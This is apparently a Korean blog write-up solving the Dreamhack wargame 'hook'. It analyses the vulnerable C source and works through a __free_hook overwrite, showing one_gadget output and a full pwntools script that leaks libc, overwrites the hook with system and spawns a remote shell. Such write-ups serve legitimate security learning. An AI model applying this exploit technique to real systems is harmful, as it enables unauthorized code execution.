[드림핵] hook
A A

문제: https://dreamhack.io/wargame/challenges/52

 

hook

Desciption 이 문제는 작동하고 있는 서비스(hook)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 _hook Overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.

dreamhack.io

 

 

📍 보호기법

 

64비트, Full RELRO, 카나리 있음, NX 활성화, PIE 없음

 

📍 소스코드

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

 

`stdout` 변수의 주소를 출력한다.

8바이트 변수 `size`에 `%ld`로 사용자 입력을 받고, `size`만큼 동적 할당을 받는다. 동적 할당한 공간에 `size`만큼 쓸 수 있다.

 

그리고 `*(long *)*ptr = *(ptr+1);`... 차근차근 보자.

  1. 좌변
    1. `ptr` = 어떤 주소를 들고 있는 포인터
    2. `*ptr` = 포인터가 가리키는 주소에 저장된 값
    3. `(long *)*ptr` = 포인터가 가리키는 주소에 저장된 값을 주소처럼 보고 `long`타입 포인터로 캐스팅
    4. `*(long *)*ptr` = 그 주소값에 저장된 값
  2. 우변
    1. `ptr+1` = `long`타입 포인터이므로 `ptr`에서 8바이트 떨어진 주소
    2. `*(ptr+1)` = 그 주소에 저장된 값

즉, `ptr`이 가리키는 주소에 있는 값을 또다른 주소로 해석하고, 그 주소에 `*(ptr+1)`의 값을 대입하는 코드이다.

 

그리고 코드의 마지막 부분에서 같은 `ptr`를 두 번 해제하고 있다.

 

 

끝에서 double free가 발생하므로, `system` 함수는 실행이 되지 않는다.

`__free_hook`을 셸을 실행하는 함수로 덮는 Hook Overwrite 식으로 풀어보자.

그러기 위해서는 `ptr`에 `__free_hook`의 주소를, `ptr+1`에 `system`의 주소를 써야 한다.

8바이트 크기의 `long` 타입 포인터 `ptr`에 쓸 수 있는 기회는 `read(0, ptr, size)` 한번뿐이므로, `size`를 16바이트로 주어서 `ptr`과 `ptr+1`에 동시에 쓸 수 있게 하면 될 것 같다.

 

 

📍 익스플로잇

혹시나 해서 보니까 원가젯이 3개나 있긴 했다.

$ one_gadget libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

 

`[rsp+0x30]` 이상을 건드려야 해서 사용은 불가능하다.

 

 

성실하게 스크립트를 짰다.

$ nm -D libc-2.23.so | grep stdout
00000000003c5620 D _IO_2_1_stdout_@@GLIBC_2.2.5
00000000003c5708 D stdout@@GLIBC_2.2.5

 

from pwn import *

p = remote("host3.dreamhack.games", 11598)
e = ELF('./hook')
libc = ELF('./libc-2.23.so')

# libc base 구하기
p.recvuntil("stdout: ")
stdout_leak = int(p.recvline()[:-1], 16)
stdout_offset = libc.symbols['_IO_2_1_stdout_']
libc_base = stdout_leak - stdout_offset

system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
free_hook = libc_base + libc.symbols['__free_hook']

p.sendlineafter("Size: ", b'24')

payload = p64(free_hook)
payload += p64(system)
payload += p64(binsh)

p.sendafter("Data: ", payload)

p.interactive()

 

 

 

 

🚩

'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글

[드림핵] out_of_bound  (0) 2025.04.10
pwnable 문제풀이  (0) 2025.04.09
[드림핵] oneshot  (0) 2025.04.08
[드림핵] fho  (0) 2025.03.30
[드림핵] basic_rop_x64  (0) 2025.03.30
Copyright 2024. GRAVITY all rights reserved